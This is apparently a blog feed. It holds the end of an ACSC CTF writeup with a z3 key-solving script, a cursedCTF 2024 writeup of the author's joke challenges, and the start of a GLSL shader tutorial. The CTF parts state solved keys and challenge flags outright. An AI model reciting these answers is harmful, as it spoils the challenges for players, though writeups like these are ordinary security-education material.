<span class="n">s2</span><span class="p">.</span><span class="n">add</span><span class="p">((</span><span class="n">d</span><span class="o">^</span><span class="n">u32</span><span class="p">(</span><span class="sa">b</span><span class="s">"2024"</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xff</span> <span class="o">==</span> <span class="mh">0x4f</span><span class="p">)</span>
<span class="c1">#    s.add(((LShR(c, 0x18) ^ LShR(c, 0x10) ^ LShR(c, 0x8) ^ c) &amp; 0xff)  == i)
</span>
<span class="k">print</span><span class="p">(</span><span class="n">s1</span><span class="p">.</span><span class="n">check</span><span class="p">())</span>
<span class="k">if</span> <span class="n">s1</span><span class="p">.</span><span class="n">check</span><span class="p">()</span><span class="o">==</span><span class="n">sat</span><span class="p">:</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">s1</span><span class="p">.</span><span class="n">model</span><span class="p">()</span>
    <span class="n">A</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="n">a</span><span class="p">].</span><span class="n">as_long</span><span class="p">()</span>
    <span class="n">B</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="n">b</span><span class="p">].</span><span class="n">as_long</span><span class="p">()</span>

<span class="k">print</span><span class="p">(</span><span class="n">s2</span><span class="p">.</span><span class="n">check</span><span class="p">())</span>
<span class="k">if</span> <span class="n">s2</span><span class="p">.</span><span class="n">check</span><span class="p">()</span><span class="o">==</span><span class="n">sat</span><span class="p">:</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">s2</span><span class="p">.</span><span class="n">model</span><span class="p">()</span>
    <span class="n">C</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="n">c</span><span class="p">].</span><span class="n">as_long</span><span class="p">()</span>
    <span class="n">D</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="n">d</span><span class="p">].</span><span class="n">as_long</span><span class="p">()</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">A</span><span class="si">:</span><span class="mi">8</span><span class="n">x</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">B</span><span class="si">:</span><span class="mi">8</span><span class="n">x</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">C</span><span class="si">:</span><span class="mi">8</span><span class="n">x</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">D</span><span class="si">:</span><span class="mi">8</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="n">s1</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">a</span> <span class="o">!=</span> <span class="n">A</span><span class="p">)</span>
<span class="n">s2</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">c</span> <span class="o">!=</span> <span class="n">C</span><span class="p">)</span>

<span class="c1"># correct key: cfe7a999 8cb4ead8 15d89f4f 21eaaf7d
# ACSC{VectOred_EecepTi0n_H@nd1ing_14_C0Ol}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="Writeup" /><category term="Crypto" /><category term="Pwn" /><category term="Web" /><category term="Reverse" /><summary type="html"><![CDATA[This weekend I played ACSC, trying to qualify for ICC. (Probably not the best timing while running cursedCTF on the side). In the end, I solved 11 challenges, though mostly the easier ones.]]></summary></entry><entry><title type="html">cursedCTF 2024 - cursed writeup</title><link href="http://blog.bronson113.org/2024/04/03/cursed.html" rel="alternate" type="text/html" title="cursedCTF 2024 - cursed writeup" /><published>2024-04-03T00:00:00+00:00</published><updated>2024-04-03T00:00:00+00:00</updated><id>http://blog.bronson113.org/2024/04/03/cursed</id><content type="html" xml:base="http://blog.bronson113.org/2024/04/03/cursed.html"><![CDATA[<p>🎉🎉 Cursed CTF run for the second year 🎉🎉</p>

<p>During HITCON CTF Final, I met some of the admins for cursedCTF, and joined the admin team. In the end, I posted 6 challenges. I hope that everyone enjoyed the cursedness of this competition.</p>

<!--more-->

<p>I always love the idea of a troll competition during April Fools. When I used to be an active competitive programming player, some friends would host these April Fools competitions, each with different gimmicks. That transfers to CTFs as well. I played XMAS-GTF in 2020 and the first cursedCTF last year, and I truly enjoy those experiences.</p>

<p>Last year I met some of the admins at HITCON CTF final and got to join the admin team! This is the first time being able to contribute to this event and I certainly enjoy my time.</p>

<h2 id="some-cursed-statistics">Some (cursed) statistics</h2>

<ul>
  <li>11058 teams that scored at least 1 flag</li>
  <li>101 total challenges</li>
  <li>1 challenge with 9606 solves</li>
  <li>2 often used flag formats</li>
  <li>2 challenges with no flag format</li>
  <li>2+ leaked flags</li>
  <li>4+ flags traded with contestants</li>
  <li>1 admin playing as a contestant</li>
  <li>2 players banned</li>
  <li>4 challenges require real money</li>
  <li>2 challenges reused</li>
  <li>
    <p>Competition ended 3 times</p>

    <blockquote>
      <p>(I’ll add more as I gather more information)</p>
    </blockquote>
  </li>
</ul>

<h2 id="my-challenges">My challenges</h2>

<p>Well, I guess I should post writeups of my own challenge.
I’ll order it roughly by my own perceived cursedness</p>

<h3 id="forensic---fetusstego">forensic - fetusstego</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>another easy stego
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This one is probably the most normal ctf challenge I created. 
The only cursed part is merely that it’s a stego. 
There isn’t really any twist to it, just guessed how the image is created.</p>

<p>So the image is created by 36 images, each with a single word.
The pixels are then “zipped” together such that each 6 by 6 megapixel contains the pixel from each image in order.
The solution is simply to extract the 36 images back out, which each contains a letter from the flag.</p>

<h3 id="osint---geogusser-extreme-2">osint - Geogusser-Extreme 2</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>Guess the coordinate from the description

```
cursed.free.flag
```

the flag format is cursedctf{12.456789,-123.340000}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This challenge is created to check the “Solvable by dcode.fr” bingo block in mind. 
I totally missed the part where the bingo said “Crypto challenge”.
I thought: How can I pick a dcode functionality that isn’t obvious, so it’s technically solvable by dcode.fr but it’s actually a bit harder than that. 
Then in the geography section, I found the <a href="https://www.dcode.fr/what3words-coordinates">what3word</a> option, and decided Yeah this is what I want. 
Hence this challenge.</p>

<p>The solution is obviously just going to dcode.fr, and put the description in, then you’ll get the flag. 
Wrap it in flag format and you’ll get  <code class="language-plaintext highlighter-rouge">cursedctf{65.826986,-113.171834}</code></p>

<h3 id="osint---geogusser-extreme">osint - Geogusser-Extreme</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>Guess the coordinate from the description

```

```

the flag format is cursedctf{123.456789,12.340000}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Before I started to create any challenge, Emma1 already created all the geogusser challenges, but there seems to still be a lack of geogusser challenges (yeah there’s never enough geogusser!).
So I think? What is the simplest geogusser? Or else, what’s the minimal hint needed to guess a location?
I then remember the null island.
That’s obviously a good place to guess! 
With an empty description, people would be able to get that it’s the null island and guess the all zero coordinate!
And this challenge is born, the flag is obviously <code class="language-plaintext highlighter-rouge">cursedctf{0.000000,0.000000}</code></p>

<h3 id="crypto---crypto-curses">crypto - crypto curses</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>You've stumbled upon a strange website where everything seems to be encrypted. There's a message written on the homepage:

```
Cursed Cryptography Challenge:

Can you break the curse and find the hidden flag?
Remember, the flag format is cursed{\w+}
```

Your task is to decrypt the following ciphertext to reveal the flag:

```
Ciphertext:
Uijt jt b tfdsfu nvdi. Ju't b dpnjoh bddftt, cvu ju't tqfoejoh ijn xjui b xfflt."
```
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This challenge is created by chatgpt™️.
Jokes aside, I was originally hoping that chatgpt could create a cohesive challenge, with a reasonable flag. 
It ended up being a lot less stable when it comes to encrypting and decrypting things.
Let’s take this exact challenge, the ciphertext is supposedly a Caeser cipher of the plaintext <code class="language-plaintext highlighter-rouge">This is a secret message. It's a coming after, but it's spending him with a weird.</code>.
If you tried to decrypt the ciphertext yourself, however, you’ll quickly find out it is the encryption of  <code class="language-plaintext highlighter-rouge">This is a secret much. It's a coming access, but it's spending him with a weeks."</code>.
Not to mention that chatgpt end up stating that the flag should be <code class="language-plaintext highlighter-rouge">cursed{secret}</code> with totally no logic.</p>

<blockquote>
  <p>Well obviously cause chatgpt doesn’t have logic, it’s just a transformer* guessing the next token based on previous sentences</p>
</blockquote>

<p>So the original idea of just posting the challenge description would utterly fail, as no one would probably guessed it correctly.
The next idea is to use some sort of pixelation on the code block, and intended for people to use tools such as <a href="https://github.com/spipm/Depix">Depix</a> to recover the content.
This would have been a cool idea actually, but I can’t find a good pixelation app that I’m confident to be “solvable” (I guess challenges don’t really have to be solvable in cursedctf anyway)</p>

<p>In the end, I decided that maybe if the original chat log is leaked in some form. 
People can just look at the correct flag, and there will be less confusion.
I cropped the chat such that the shareable link is shown in the navigation bar, with just 1 character cropped out.
I can maybe crop out a lot more characters, but I’m afraid that it’ll end up becoming a DDOS attack toward chatgpt.
Though in hindsight, two or even three characters (so 4096 possible urls) should be fine.<br />
<a href="https://chat.openai.com/share/5a19884d-dc6f-421a-b5ea-153cbbce3877">Link to the chat</a></p>

<p>Here some trials I made before settling with the above conversation</p>

<p><a href="https://chat.openai.com/share/62c5cf1b-e226-44ae-9d79-67f4cc42ef14">Link to trail conversation</a></p>

<p>I was hoping that an odd request message could somehow force chatgpt to include it in the flag somehow in a somewhat more reasonable manner.</p>

<blockquote>
  <p>Seems like I can’t show multiple options chosen during the conversation…</p>
</blockquote>

<h3 id="forensic---babystego">forensic - babystego</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>Wow I make a image with the flag in powerpoint =D
  
hint - replace the flag format to `cursedctf{.*}` when you found the flag
</pre></td></tr></tbody></table></code></pre></div></div>

<p>As the description suggested, this challenge is indeed made with PowerPoint.
There are two cursedness in this challenge. 
The original idea is to create a stego challenge where the flag is right in front of you the whole time, but people wouldn’t believe it. 
So the simple way to do this is just to put the flag right in the middle of the image, but add various rabbit holes around the image.
What I totally missed is that I wrote <code class="language-plaintext highlighter-rouge">cursed{I~AM~FLAG}</code> in the image, while I set up the challenge to accept <code class="language-plaintext highlighter-rouge">cursedctf{I~AM~FLAG}</code>.
I didn’t notice this until the last day of the competition, and released the hint to fix that, as this was not the intended difficulty of this challenge.
It’s very funny though, I did spend some time deciding if I want to keep it as is since like 20 people already guessed it.</p>

<h3 id="misc---check-sanity">misc - check-sanity</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>`cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{flag}}}}}}`
</pre></td></tr></tbody></table></code></pre></div></div>

<p>For this challenge, the idea is that normally you always submit flags according to the description.
So then the cursed thing is the reverse, to submit the description according to the flag? 
Obviously, you’ll need a flag that almost everyone would have gotten, which would be <code class="language-plaintext highlighter-rouge">sanity-check</code>.</p>

<p>Now if you look at sanity-check, the description said <code class="language-plaintext highlighter-rouge">haha i claimed the best challenge</code> and then the flag.
So, the flag for check-sanity is <code class="language-plaintext highlighter-rouge">haha i claimed the best challenge</code>. 
I did make the arbitrary decision of truncating out the flag part. 
I hope that this doesn’t hinder anyone with the right idea but ends up not getting the flag.</p>

<p>Halfway through the competition I thought that this challenge shouldn’t be that hard, but no one is getting it. 
I then saw that we had a #leaked-flags channel, and think: Huhhh it’ll be funny if the leaked flags channel actually contains a real flag. 
Since the flag for this challenge doesn’t have the flag format, it’s the perfect candidate as people wouldn’t notice that it’s a valid flag.
I then posted a lot of fake flags along with it and announced the “One Piece” in the leaked-flags channel.</p>

<h3 id="rev---git-madness">rev - git madness</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>JDSL... but in git????
ps - it only took 4 minute on my machine to check the flag =D that's blazingly fast
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is the challenge that drives me to contribute to this year’s cursedCTF. 
I was watching YouTube and saw <a href="https://youtu.be/QwUPs5N9I6I?si=ysqZbXkNaN5o6bYB">The Most Amazing  Software Ever Created</a>, which is a reaction video to <a href="https://thedailywtf.com/articles/the-inner-json-effect">The inner json effect</a>. 
The only thought I have after this is.</p>

<blockquote>
  <p>This is sooooo cooool, what if this is a CTF challenge?</p>
</blockquote>

<p>Some parts obviously need to change.
I’m more familiar with git, so I think I’ll build a similar system with git.
Also, this might not be suitable for a normal CTF. (I’m creating challenges for b01lersCTF as well!! Stay Tune!!)
Oh, cursedctf is around the corner and I did join the admin team, I should just put it there.</p>

<p>All of that happened like 1 week before the competition, and I didn’t have much time, so I quickly brew up a prototype and made this schematic.</p>

<p><img src="/img/cursed-git-graph.svg" alt="" /></p>

<p>Yeah that seems cool, we can use the git head and the git commits as states and pointers. 
Now we can implement a finite state machine using git! Some possible things I could add to the challenge are</p>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />Randomize branch name</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />Randomize commit name</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />Randomize commit time</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />Randomize tree layout</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Multiple languages</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Obfuscated Constants in different languages</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />… maybe more ideas</li>
</ul>

<p>Due to the time constraints, I can only implement the checking part as basic as I can while still abusing git’s state machine.
I use shellscript as the main language and call git directly to manipulate the state.
The idea is that each branch head acts like an anchor, while <code class="language-plaintext highlighter-rouge">git checkout HEAD^</code> or <code class="language-plaintext highlighter-rouge">git checkout HEAD~x</code> serves as the way to move the pointer around.
Due to the limitation of git, you can only move the pointer in one direction, namely toward the parent.</p>

<p>For the flag format part, I checked each character one by one.
Then I have a section that does a “matrix multiplication”, which is just adding some position values together and verifying if they match the target sum value.
I achieve summation check by having the target number of commits on the branch, and for each character input, you move that many commits toward the parent.
After a certain number of jumps, if we land on the correct commit (state), then the check passes.
The rest of the flag is checked through several modulo checks. 
Having git go to parents several times with one final commit going back to the branch head, we can have some sort of modulo operation, and hard code the result commit.</p>

<p>Let’s admire the glory of the final product.</p>

<p><img src="/img/cursed-git.png" alt="" /></p>

<p>I would hope that I can implement all the “features” and integrate more interesting ways to move on this “state machine”, but run out of time.
Also, I think this challenge is cursed enough as is.
<code class="language-plaintext highlighter-rouge">jospeh fan club</code> is the only team that ends up solving it.
I’d hope that more people attempted it, but having a solve is already more than what I expected.</p>

<h2 id="conclusion">Conclusion</h2>

<p>I hope that everyone who participated in this event has a fun time.
I truly enjoyed the whole process, and would look forward to next year (or finals!).
That’ll be a wrap for cursedCTF 2024 qual!</p>

<hr />

<p>*: I’m not sure if chatgpt is using transformer under the hood, I’ll probably need more research into it to find out</p>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="My Challenge" /><category term="Misc" /><category term="Crypto" /><category term="Reverse" /><summary type="html"><![CDATA[🎉🎉 Cursed CTF run for the second year 🎉🎉 During HITCON CTF Final, I met some of the admins for cursedCTF, and joined the admin team. In the end, I posted 6 challenges. I hope that everyone enjoyed the cursedness of this competition.]]></summary></entry><entry><title type="html">Shader Introduction - Fractal Shader (Part 1 /???)</title><link href="http://blog.bronson113.org/2024/03/12/shader-introduction-fractal-shader-part-1.html" rel="alternate" type="text/html" title="Shader Introduction - Fractal Shader (Part 1 /???)" /><published>2024-03-12T00:00:00+00:00</published><updated>2024-03-12T00:00:00+00:00</updated><id>http://blog.bronson113.org/2024/03/12/shader-introduction-fractal-shader-part-1</id><content type="html" xml:base="http://blog.bronson113.org/2024/03/12/shader-introduction-fractal-shader-part-1.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Over the past few weeks, I have gained interest in shader. I love how complicated patterns can be created from simple, concise code. 
I was watching YouTube mindlessly and found several wonderful tutorials that taught me the basics of shader, and that’s how I got started. I’ll link those tutorials along the way and at the end of this article.</p>

<!--more-->

<p>This blog post will try to note down the sources I used for each section, along with my reasoning behind doing each part.</p>

<h3 id="shadertoy">Shadertoy</h3>
<p>Before we start, I shall introduce the tools we’ll be using. This tutorial will be mainly through <a href="https://www.shadertoy.com/">shadertoy</a>. This is a website that interfaces with Webgl using GLSL, the OpenGL shading language. This allows the user to swiftly iterate through ideas using a simple interface.</p>

<p>You can press Alt+Enter to compile the current code. This will be very useful, so you don’t need to reach for the mouse to see your progress.</p>
<h2 id="what-is-shader">What is shader</h2>
<p>Let’s start with the basics, what is shader?</p>

<p>In my understanding, shaders are programs that:</p>
<ol>
  <li>Applied to each pixel</li>
  <li>Independent of other pixel</li>
  <li>Returns a color that should be displayed on that pixel</li>
</ol>

<p>This means that each pixel is essentially its own unit. and we can exploit that high level of parallelism using something like a GPU.</p>

<blockquote>
  <p>I understand that this definition is probably a bit off for general graphics with vertex shaders and stuff, but we’ll use this definition for now.</p>
</blockquote>

<p>Let’s take for example. If the shader is as follows (In pseudocode)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>color shader(pixel_x, pixel_y):
    return (pixel_x, pixel_y, 0.0)
</pre></td></tr></tbody></table></code></pre></div></div>

<p>It will take each pixel separately, assign the pixel’s x coordinate to the red channel, the y coordinate to the green channel, and return the color. With every pixel colored, you get something like the following.</p>

<div class="shader-embed js-shader-embed" data-autoplay="false" data-start-time="0" style="height: 360px;">
  <canvas class="shader-embed__canvas" aria-label="Shader coordinate example"></canvas>
  <div class="shader-embed__status" aria-live="polite"></div>
  <script type="x-shader/x-fragment" class="shader-embed__source">void mainImage(out vec4 fragColor, in vec2 fragCoord)
{
    fragColor = vec4(fragCoord.xy / 200.0, 0.0, 1.0);
}</script>
</div>

<div class="accordion mb-2" id="shader_example">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-shader_example">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#shader_example-content" aria-expanded="true" aria-controls="shader_example-content">
         <p>Show shader code</p>
 
      </button>
    </p>
    <div id="shader_example-content" class="accordion-collapse collapse" aria-labelledby="hd-shader_example" data-bs-parent="#shader_example">
      <div class="accordion-body pb-0">
          
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="k">void</span> <span class="nx">mainImage</span><span class="p">(</span> <span class="nx">out</span> <span class="nx">vec4</span> <span class="nx">fragColor</span><span class="p">,</span> <span class="k">in</span> <span class="nx">vec2</span> <span class="nx">fragCoord</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="nx">fragColor</span> <span class="o">=</span> <span class="nx">vec4</span><span class="p">(</span><span class="nx">fragCoord</span><span class="p">.</span><span class="nx">xy</span><span class="o">/</span><span class="mf">200.0</span><span class="p">,</span> <span class="mf">0.0</span><span class="p">,</span> <span class="mf">1.0</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
</div>

<p>That’s not too bad, right? You just use the coordinate to calculate some value, and that will be the color of that pixel.</p>
<h3 id="coordinate--color-system">Coordinate &amp; Color System</h3>
<p>If you actually checked what’s written in the shader above, you’ll notice that there is a weird divide by 200 in the code. It’s about time to introduce the coordinate system in shadertoy.</p>

<p>By default, shadertoy labels the pixels from the bottom left corner and utilizes the standard math axis direction. So right is the +x direction and up is the +y direction. Each pixel will have a width of 1, so each pixel gets an integer coordinate.</p>

<p>Next, shadertoy interprets the return value for mainImage as a tuple of RGBA, each ranging from 0.0 to 1.0. However, the transparency value is dropped when rendering. The value of each color is clamped to 0.0 to 1.0, so values larger than 1 will render with full brightness, while a negative value will render as black.</p>

<h3 id="normalize-coordinate">Normalize Coordinate</h3>
<p>To better work with the canvas, we’d like to set the coordinate such that the origin is in the middle of the screen, and ranges from -1 to 1 from the left side to the right side (Or from top to bottom). This can be done by scaling and shifting to coordinate.</p>

<p>First, moving the origin to the center of the screen can simply be done by subtracting the coordinate by half the screen size.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>vec2 centered = fragCoord.xy - iResolution.xy/2.; 
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Here, fragCoord is the pixel coordinate, and iResolution is a variable provided by shadertoy to reference the current render screen size.</p>

<p>If we now think of the center of the screen. The fragCoord will be half the screen resolution on both axis. Now that we subtract half the resolution, the “centered” variable now holds (0, 0). The same logic applies to all other points, and this indeed centers the coordinate system.</p>

<p>The next thing is to fix the coordinate, so the same or similar enough image is displayed on different screen resolutions. For our case, we want the coordinate to span from -1 to 1 no matter how large the screen is. This is simple, we can just stretch the coordinate by the resolution. Something to consider is whether we want the result to stretch when the aspect ratio changes. Sometimes we might want it to just truncate out the part, but it sometimes makes sense to stretch the whole image.</p>

<p>If we want to aspect ratio to be fixed to 1:1, which is the most common, we need to divide the centered coordinate by iResolution.y. 
Note that we use the y coordinate since it’s usually the shorter coordinate, so the main image will also be shown without any truncation.</p>

<p>However, since pixels can’t talk to each other, how do they collectively form a picture? The trick is some math!</p>

<h2 id="math-yes-math">Math (Yes! MATH!)</h2>
<h3 id="circles">Circles</h3>
<p>You might think: Why is math relevant here? Well, when we think of a picture, we see shapes and graphs. Each shape can then be translated into a kind of equation. Think of a circle. It’s basically taking all the points such that the distance to the center is smaller than a threshold. For example, a circle of radius 1 is formed with $x^2 + y^2 \leq 1$.</p>

<p>Now, if we reverse that process, and try to determine if a point is in a circle, then each individual point can collectively draw a circle. This can be done by calculating the distance of each point to the center, and then checking if that distance is less than the radius! This can be generalized further. For any shape that we need to draw, we can find the formula that determines how far this point is from the shape. To better distinguish the inside of the shape from the outside, we’ll try to make the formula produce a negative distance if it’s inside the shape. This distance function is called the Signed Distance Function, or SDF for short. We can find the SDF for various shapes and use those to draw the shapes we want.</p>

<div class="shader-embed js-shader-embed" data-autoplay="false" data-start-time="0" style="height: 360px;">
  <canvas class="shader-embed__canvas" aria-label="Signed distance field circle example"></canvas>
  <div class="shader-embed__status" aria-live="polite"></div>
  <script type="x-shader/x-fragment" class="shader-embed__source">float sdf_circle(vec2 coordinate, vec2 center, float radius){
    return length(coordinate - center) - radius;
}

void mainImage(out vec4 fragColor, in vec2 fragCoord)
{
    vec2 uv = (2.0 * fragCoord - iResolution.xy) / iResolution.y;

    vec2 center = vec2(0.0, 0.0);
    float dist = sdf_circle(uv, center, 0.5);
    vec3 col = vec3(dist);

    fragColor = vec4(col, 1.0);
}</script>
</div>

<div class="accordion mb-2" id="shader_example_2">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-shader_example_2">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#shader_example_2-content" aria-expanded="true" aria-controls="shader_example_2-content">
         <p>Show shader code</p>
 
      </button>
    </p>
    <div id="shader_example_2-content" class="accordion-collapse collapse" aria-labelledby="hd-shader_example_2" data-bs-parent="#shader_example_2">
      <div class="accordion-body pb-0">
          
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="nx">float</span> <span class="nx">sdf_circle</span><span class="p">(</span><span class="nx">vec2</span> <span class="nx">coordinate</span><span class="p">,</span> <span class="nx">vec2</span> <span class="nx">center</span><span class="p">,</span> <span class="nx">float</span> <span class="nx">radius</span><span class="p">){</span>
    <span class="k">return</span> <span class="nx">length</span><span class="p">(</span><span class="nx">coordinate</span> <span class="o">-</span> <span class="nx">center</span><span class="p">)</span> <span class="o">-</span> <span class="nx">radius</span><span class="p">;</span>
<span class="p">}</span>


<span class="k">void</span> <span class="nx">mainImage</span><span class="p">(</span> <span class="nx">out</span> <span class="nx">vec4</span> <span class="nx">fragColor</span><span class="p">,</span> <span class="k">in</span> <span class="nx">vec2</span> <span class="nx">fragCoord</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Normalized pixel coordinates (from -1 to 1 on the y axis)</span>
    <span class="nx">vec2</span> <span class="nx">uv</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span><span class="p">.</span><span class="o">*</span><span class="nx">fragCoord</span> <span class="o">-</span> <span class="nx">iResolution</span><span class="p">.</span><span class="nx">xy</span><span class="p">)</span> <span class="o">/</span> <span class="nx">iResolution</span><span class="p">.</span><span class="nx">y</span> <span class="p">;</span>

    <span class="c1">// draw a circle center at (0, 0) with radius of 0.5</span>
    <span class="nx">vec2</span> <span class="nx">center</span> <span class="o">=</span> <span class="nx">vec2</span><span class="p">(</span><span class="mi">0</span><span class="p">.,</span> <span class="mi">0</span><span class="p">.);</span>
    <span class="nx">float</span> <span class="nx">dist</span> <span class="o">=</span> <span class="nx">sdf_circle</span><span class="p">(</span><span class="nx">uv</span><span class="p">,</span> <span class="nx">center</span><span class="p">,</span> <span class="p">.</span><span class="mi">5</span><span class="p">);</span>
    <span class="nx">vec3</span> <span class="nx">col</span> <span class="o">=</span> <span class="nx">vec3</span><span class="p">(</span><span class="nx">dist</span><span class="p">);</span>

    <span class="c1">// Output to screen</span>
    <span class="nx">fragColor</span> <span class="o">=</span> <span class="nx">vec4</span><span class="p">(</span><span class="nx">col</span><span class="p">,</span><span class="mf">1.0</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
</div>

<p>One really helpful resource I found is <a href="https://iquilezles.org/">Inigo Quilez’s website</a>. He had various articles on shader as well as some Wiki-type blogs that acted like a dictionary. For example, there is a <a href="https://iquilezles.org/articles/distfunctions2d/">page</a> that contains a lot of SDF for various shapes along with demos and code. It is a great resource for both learning shaders and various techniques in rendering.</p>

<h3 id="creating-edges">Creating Edges</h3>
<p>In the previous example, the center black part is where the SDF returns a negative number, and the outer grayish part is where it returns a positive number. However, we might only want to draw the circumference of the circle. One way is to use comparisons, like the following code.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="nx">float</span> <span class="nx">distance</span> <span class="o">=</span> <span class="nx">sdf_circle</span><span class="p">(...);</span>
<span class="k">if</span><span class="p">(</span><span class="nx">distance</span> <span class="o">&lt;</span> <span class="mf">0.05</span> <span class="nx">and</span> <span class="nx">distance</span> <span class="o">&gt;</span> <span class="o">-</span><span class="mf">0.05</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">col</span> <span class="o">=</span> <span class="nx">vec3</span><span class="p">(</span><span class="mi">1</span><span class="p">.);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>However, there are some other math tools we can use to get a smoother result. Firstly, if we’re just drawing a ring, the distance to the circumference is probably more useful than the sign distance, so taking the absolute value will help simplify the situation.</p>

<p>Now we only want the part that is close to 0. The smoothstep function is a suitable candidate here. Firstly, what is a smoothstep function? We know a step function is a function that jumps from 0 to 1 at a certain value.</p>

\[step(x, v)  = \begin{cases}
    0, &amp;\quad\text{if} x &lt; v \\ 
		1, &amp;\quad\text{if} x \ge v 
\end{cases}\]

<p>But we want a smoother transition between 0 and 1, so smoothstep comes in handy. It instead now takes three parameters.</p>

\[smoothstep(st, ed, x)  = \begin{cases}
    0, &amp;\quad\text{if }  x &lt; st \\ 
		f(x), &amp;\quad\text{if } st \le x &lt; ed  \\ 
    1, &amp;\quad\text{if } x \ge ed
\end{cases}\]

<p>where f(x) is a smooth transition between 0 and 1. There are a lot of different smoothstep functions. The smoothstep function in <a href="https://registry.khronos.org/OpenGL-Refpages/gl4/html/smoothstep.xhtml">GLSL</a>, the function is $f(x) = x^{2} \times (3 - 2 x)$.</p>

<p>So if we use smootstep to clamp our value around 0.05, we get a black circle on a white background, since only the part that’s close to our center circle gets a value close to 0. If we want to invert the color, simply subtract it from 1, and we get the following.</p>

<div class="shader-embed js-shader-embed" data-autoplay="false" data-start-time="10" style="height: 360px;">
